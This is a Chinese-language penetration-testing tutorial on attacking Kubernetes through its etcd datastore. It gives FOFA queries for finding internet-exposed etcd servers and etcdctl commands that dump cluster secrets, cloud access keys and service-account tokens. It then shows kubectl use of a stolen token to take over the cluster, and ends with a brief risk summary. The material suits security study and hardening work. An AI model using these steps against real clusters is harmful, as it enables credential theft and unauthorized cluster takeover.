k8s攻防之etcd數據庫篇
etcd介紹
Etcd是一個具有強一致性的分布式 key-value 存儲組件(也是一個高可用的分布式鍵值對數據庫)。采用類似目錄結構的方式對數據進行存儲,僅在葉子結點上存儲數據,葉子結點的父節點為目錄,不能存儲數據。它為k8s集群提供底層數據存儲。多數情形下,數據庫中的內容沒有經過加密處理,一旦etcd被黑客拿下,就意味著整個k8s集群失陷。
其是由 CoreOS 團隊于 2013 年 6 月發起的開源項目,基于 Go 語言實現,距今已將近 10 年時間,目前在 Github 上已有 40K 的 Star 數和 8.6K 的 Fork 數,社區非常活躍,有超過 700 位貢獻者。從版本整體發展歷史來看,Etcd 主要有 v2 和 v3 兩個版本,v3 版本較 v2 版本相同點在于它們共享一套 Raft 協議代碼,不同點在于兩個版本的數據是相互隔離的,即若將 v2 版本升級至 v3 版本,原來的 v2 版本的數據還是只能用 v2 版本的接口訪問,而不能被 v3 版本的接口所訪問。etcd使用比較多的場景包括服務注冊與發現、鍵值對存儲、消息發布訂閱等。在kubernetes中,etcd存儲集群狀態和配置信息,以用于服務發現和集群管理。本文主要是簡單介紹etcd在滲透時的利用。
etcd利用
1.網絡資產引擎搜集etcd
FOFA搜索語句如下:
fofa語法: Etcd && port="2379" fofa語法: Etcd && port="2379" && country="CN" //搜中國這邊etcd協議并且是2379端口的ip/域名

2. 端口探測
目前,etcd 啟動后監聽 2379 和 2380 兩個端口,前者用于客戶端連接,后者用于多個 etcd 實例之間的端對端通信。在多節點集群中,為了實現高可用,etcd 往往在節點 IP 上進行監聽,已實現多節點的互通。
默認情況下,兩個端口提供的服務都需要相應證書才能訪問,并禁止匿名訪問,來保證安全性。如果攻擊者獲取了證書,或者允許匿名訪問,就可以直接獲取 ectd 內的數據。
etcdctl --endpoints https://localhost:2379 --cert /etc/kubernetes/pki/etcd/server.crt --key /etc/kubernetes/pki/etcd/server.key --cacert /etc/kubernetes/pki/etcd/ca.crt get /registry/serviceaccounts/kube-system/default -o json
3.etcd搭配SSRF
etcd在配置錯誤/搭配SSRF利用時,訪問到etcd=接管集群。位于K8s master node 對內暴露2379端口,本地127.1可免認證訪問,其他地址要帶參數和cert進行認證。--endpoint

文檔:
- https://kubernetes.io/zh/docs/concepts/overview/components/
- https://etcd.io/docs/
未授權訪問的情況
ETCD V2和V3是兩套不兼容的API,K8s用V3,通過環境變量設置API V3:
export ETCDCTL_API=3
檢查是否正常連接:
etcdctl endpoint health 127.0.0.1:2379 is healthy: successfully committed proposal: took = 939.097μs
查看K8s的秘密:
etcdctl get / --prefix --keys-only | grep /secrets/
獲取集群中保存的云產品AK,橫向移動:
etcdctl get /registry/secrets/default/acr-credential-518dfd1883737c2a6bde99ed6fee583c

讀取服務帳戶令牌:
etcdctl get / --prefix --keys-only | grep /secrets/kube-system/clusterrole
在返回值末尾取 開始到末尾之前的這部分:ey``#kubernetes.io/service-account-token``#

通過token認證訪問API-Server,接管集群:
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="[ey...]" -n kube-system get pods

需要認證的情況
etcdctl get / --prefix --keys-onlyError: dial tcp 127.0.0.1:2379: getsockopt: connection refused
結果返回本地2379連接失敗,netstat看下發現監聽的是172段,這種情況下需要指定endpoint帶cert進行訪問,認證失敗會返回。Error: context deadline exceeded
[root@iZbp13l0dv5x8ke1jmrpihZ cert]# netstat -antp | grep LISTENtcp 0 0 127.0.0.1:10248 0.0.0.0:* LISTEN 2917/kubelettcp 0 0 127.0.0.1:10249 0.0.0.0:* LISTEN 4801/kube-proxytcp 0 0 172.16.0.112:2379 0.0.0.0:* LISTEN 3222/etcdtcp 0 0 172.16.0.112:2380 0.0.0.0:* LISTEN 3222/etcdtcp 0 0 127.0.0.1:10253 0.0.0.0:* LISTEN 4628/cloud-controlltcp 0 0 127.0.0.1:10257 0.0.0.0:* LISTEN 4134/kube-controlletcp 0 0 127.0.0.1:10259 0.0.0.0:* LISTEN 4150/kube-schedulertcp 0 0 127.0.0.1:33941 0.0.0.0:* LISTEN 2917/kubelettcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 3465/sshd
帶cert訪問etcd:
[root@iZbp13l0dv5x8ke1jmrpihZ cert]# ls172.16.0.112-name-1.csr 172.16.0.114-name-3.csr ca.pem etcd-server.pem172.16.0.112-name-1-key.pem 172.16.0.114-name-3-key.pem etcd-client.csr peer-ca-config.json172.16.0.112-name-1.pem 172.16.0.114-name-3.pem etcd-client-key.pem peer-ca.csr172.16.0.113-name-2.csr ca-config.json etcd-client.pem peer-ca-key.pem172.16.0.113-name-2-key.pem ca.csr etcd-server.csr peer-ca.pem172.16.0.113-name-2.pem ca-key.pem etcd-server-key.pem[root@iZbp13l0dv5x8ke1jmrpihZ cert]# etcdctl --insecure-skip-tls-verify --insecure-transport=true --endpoints=https://172.16.0.112:2379 --cacert=ca.pem --key=etcd-client-key.pem --cert=etcd-client.pem endpoint healthhttps://172.16.0.112:2379 is healthy: successfully committed proposal: took = 2.084526ms
Etcd數據庫未授權訪問可能產生的風險
kubernetes的master會安裝etcd v2/etcd v3用來存儲數據,如果管理員進行了錯誤的配置,導致etcd未授權訪問的情況,那么攻擊者就可以從etcd中拿到kubernetes的認證鑒權token,從而接管集群。或者可以從etcd中拿到來自該企業向各大云服務器廠商購買的云服務器相應的AK密鑰和SK密鑰(從而可以讓國內外不法分子給企業進行勒索呀,投毒等等)
在真實的場景中,還有一些應用使用etcd來存儲各種服務的賬號密碼、公私鑰等敏感數據。而很多etcd服務的使用者完全沒有考慮過其安全風險,這種情況和redis的使用情況差不多,在企業內網比較普遍,甚至也有大部分人會將其開放到公網。